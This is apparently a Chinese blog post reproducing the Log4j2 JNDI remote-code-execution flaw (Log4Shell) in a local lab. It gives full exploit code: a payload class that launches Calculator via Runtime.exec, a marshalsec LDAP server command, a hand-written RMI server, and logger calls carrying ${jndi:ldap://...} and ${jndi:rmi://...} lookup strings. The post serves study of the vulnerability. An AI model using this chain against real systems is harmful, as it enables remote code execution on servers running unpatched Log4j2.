背景
Apache Log4j2是一个基于Java的日志记录工具，该工具重写了Log4j框架，并且引入了大量丰富的特性，Apache log4j-2是Log4j的升级版，这个日志框架被大量用于业务系统开发，用来记录日志信息。在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中，而攻击者则可以利用此特性通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。
本文章主要是处于个人兴趣想去复现一下 Log4j2的漏洞，事先声明本人对安全领域一窍不通，只是之前碰巧读过部分 Log4j 的代码，所以有兴趣研究下这个问题的根源，当然这篇文章只是告诉大家怎么去复现这个问题。关于 Log4j2部分的源码得等下篇文章了。
环境介绍
- 操作系统：macOS Catalina
- java version "1.8.0_191"
- LDAP服务端
- python3.x
- 手写 RMI 服务端以及测试代码。
LDAP 方式复现
- 1.手写hack 代码用于启动mac 系统的计算器 java 代码，编译成class 文件。
- 2.在 class 目录通过 python3 -m http.server 启动服务后能够通过 http 协议访到 hack 的 class 文件。
- 3.通过marshalsec启动一个 LDAP 服务器，代码开源可以手动各种操作，编译成 jar 包参考LDAP服务端。
- 4.通过 log4j2的打印日志然后访问 hack 代码启动本地计算器。
public class BugFinder {
public BugFinder() {
try {
System.out.println("执行漏洞代码");
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
System.out.println("完成执行漏洞代码");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
BugFinder bugFinder = new BugFinder();
}
}- hack 的代码负责启动mac系统的计算器。
python3 -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#BugFinder"- 在 hack 的class文件所在目录通 python3启动http服务暴露 hack 的 class 文件。
- 通过marshalsec的开源软件启动 LDAP 服务，参考LDAP服务端。
package com.bug;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class BugTester {
private static final Logger logger = LogManager.getLogger(BugTester.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://192.168.0.3:1389/BugFinder}");
try {
Thread.sleep(1000);
} catch (Exception e) {
}
}
}- 通过 log4j2的打印日志${jndi:ldap://192.168.0.3:1389/BugFinder}唤起本地计算器。
- 不同的 JDK 对于com.sun.jndi.ldap.object.trustURLCodebase的默认值不一样，所以为了测试统一设置成true 便于触发。
- 不同的 JDK 版本的默认值可能导致这个 bug 不会被触发。
RMI 方式复现
- 1.手写hack 代码用于启动mac 系统的计算器 java 代码，编译成class 文件。
- 2.手写 RMI 的服务端代码。
- 3.通过 log4j2的打印日志然后访问 hack 代码启动本地计算器。
package com.bug;
public class BugFinder {
public BugFinder() {
try {
System.out.println("执行漏洞代码");
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
System.out.println("完成执行漏洞代码");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
BugFinder bugFinder = new BugFinder();
}
}- hack 的代码负责启动mac系统的计算器。
package com.bug;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("com.bug.BugFinder",
"com.bug.BugFinder", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("BugFinder", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}- RMI 的服务端代码，启动1099端口进行监听。对应 log4j2的日志通过"jndi:rmi://192.168.0.3:1099/BugFinder"进行访问呢。
- Reference的参数com.bug.BugFinder就是 hack 代码的class 路径。
public class BugTester {
private static final Logger logger = LogManager.getLogger(BugTester.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:rmi://192.168.0.3:1099/BugFinder}");
try {
Thread.sleep(1000);
} catch (Exception e) {
}
}
}- 执行 log4j2的 error 日志，参数为${jndi:rmi://192.168.0.3:1099/BugFinder}，会触发mac 系统打开计算器。
